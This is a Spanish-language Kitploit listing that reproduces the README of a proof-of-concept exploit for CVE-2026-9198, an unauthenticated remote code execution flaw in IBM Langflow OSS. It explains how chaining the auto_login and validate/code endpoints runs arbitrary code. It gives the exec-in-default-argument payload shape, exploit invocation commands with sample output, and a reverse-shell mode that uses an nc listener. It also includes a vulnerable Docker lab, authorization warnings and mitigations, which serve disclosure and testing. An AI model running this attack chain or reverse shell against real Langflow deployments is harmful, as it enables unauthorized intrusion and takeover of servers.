Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EXPLOIT-CVE-2026-9198 — Prueba de concepto del exploit para CVE-2026-9198, un RCE no autenticado en IBM Langflow OSS, que encadena los endpoints auto_login y validate/code. Incluye un laboratorio Docker vulnerable para pruebas autorizadas y educación. | Kitploit
Herramientas/GitHubGitHub/joaovicdev/exploit-cve-2026-9198
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingLabs y Práctica
GitHubjoaovicdev/exploit-cve-2026-9198

EXPLOIT-CVE-2026-9198

Prueba de concepto del exploit para CVE-2026-9198, un RCE no autenticado en IBM Langflow OSS, que encadena los endpoints auto_login y validate/code. Incluye un laboratorio Docker vulnerable para pruebas autorizadas y educación.

Ver Repositorio
hace 5h 37mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-9198 — IBM Langflow OSS RCE sin autenticación

Prueba de concepto del exploit y un laboratorio Docker autónomo para CVE-2026-9198, una vulnerabilidad de ejecución remota de código sin autenticación en IBM Langflow OSS.

El exploit encadena dos endpoints — auto_login (que entrega un token SUPERUSER a cualquiera) y validate/code (que ejecuta Python proporcionado por el atacante) — para obtener ejecución de código como el usuario del servicio Langflow, sin necesidad de credenciales.

[!WARNING] Solo para pruebas de seguridad autorizadas y fines educativos. Ejecuta esto exclusivamente contra sistemas que poseas o para los que tengas permiso escrito explícito para probar. El laboratorio Docker de este repositorio es deliberadamente vulnerable — mantenlo en tu máquina y nunca lo expongas a internet. Eres responsable del uso que hagas de este código.

La vulnerabilidad

CVECVE-2026-9198
ProductoIBM Langflow OSS
Afectadas1.0.0 – 1.10.0
Corregida en1.10.1
CVSS 3.19.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — Control inadecuado de la generación de código ('Inyección de código')
CISA KEVSí — explotada activamente en la naturaleza

Cómo funciona

El exploit es una cadena de dos pasos que no requiere autenticación:

1. Obtener un token SUPERUSER — GET /api/v1/auto_login

Langflow incluye LANGFLOW_AUTO_LOGIN habilitado por defecto. Cuando lo está, el endpoint auto_login emite un JWT SUPERUSER de larga duración a cualquier llamante, sin pedir credenciales:

root@kitploit:~
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

2. Ejecutar código — POST /api/v1/validate/code

Desde la versión 1.3.0 este endpoint requiere autenticación (esa fue la corrección para CVE-2025-3248) — pero el paso 1 acaba de entregarnos un token SUPERUSER válido, así que la barrera es inútil. Internamente, el endpoint llama a validate_code(), que compila y ejecuta cada definición de función que recibe:

root@kitploit:~
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)                       # <-- ejecuta la def
        except Exception as e:
            errors["function"]["errors"].append(str(e))   # <-- la salida se filtra de vuelta aquí

Ejecutar una sentencia def evalúa los valores de sus argumentos por defecto. Así que una función cuyo argumento por defecto es exec("...") ejecuta código arbitrario en el momento en que se valida — la función ni siquiera se llama. Cualquier excepción lanzada se captura y se devuelve en la respuesta bajo function.errors, que el exploit usa para leer la salida del comando de vuelta a través de HTTP.

Forma del payload (el comando está envuelto en base64 para sobrevivir a cualquier comilla):

root@kitploit:~
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

Contenido

root@kitploit:~
.
├── exploit.py           # el PoC (ejecución de comandos + shell inversa)
├── docker-compose.yml   # laboratorio vulnerable: langflow 1.10.0 + postgres
├── requirements.txt     # requests
└── README.md

Requisitos

  • Docker + Docker Compose (para el laboratorio)
  • Python 3.8+ y requests (pip install -r requirements.txt)

Ejecutar el laboratorio

root@kitploit:~
docker compose up -d

Langflow tarda uno o dos minutos en estar listo en el primer arranque. Espera hasta que responda:

root@kitploit:~
curl -fs http://127.0.0.1:9999/health && echo OK

El servicio está vinculado a 127.0.0.1:9999 a propósito — no es accesible desde tu red.

Ejecutar el exploit

Instala la dependencia y luego apunta el exploit al laboratorio.

root@kitploit:~
pip install -r requirements.txt

Ejecución de comandos

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"

Ejemplo de salida:

root@kitploit:~
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

Cualquier comando funciona: --cmd "uname -a && whoami && cat /etc/os-release".

Shell inversa

Inicia un listener:

root@kitploit:~
nc -lvnp 4444

Luego dispara el payload. Cuando el objetivo se ejecuta en Docker en la misma máquina, el contenedor alcanza tu host en host.docker.internal (Docker Desktop); en un objetivo real usa tu IP enrutable:

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

Obtienes un /bin/sh interactivo en tu listener como el usuario langflow.

Opciones

FlagDescripción
--urlURL base del objetivo (obligatorio)
--cmdComando a ejecutar (por defecto id)
--reverse-shellEntregar una shell inversa en lugar de ejecutar --cmd
--lhost / --lportHost y puerto de devolución de la shell inversa
--tokenUsar un token bearer proporcionado y omitir auto_login
--timeoutTiempo de espera por solicitud, en segundos (por defecto 15)
--insecureOmitir la verificación TLS (para objetivos https)

Mitigación

  • Actualiza a Langflow ≥ 1.10.1.
  • Desactiva el inicio de sesión automático en cualquier cosa accesible por red: LANGFLOW_AUTO_LOGIN=false, y establece credenciales reales de superusuario.
  • Nunca expongas Langflow directamente a internet; colócalo detrás de autenticación y controles de red.

Referencias

  • NVD — CVE-2026-9198
  • Boletín de seguridad de IBM
  • Catálogo de vulnerabilidades explotadas conocidas de CISA
  • Predecesor relacionado: CVE-2025-3248 (la inyección de código en validate/code sobre la que se construye esto)
Descargar herramienta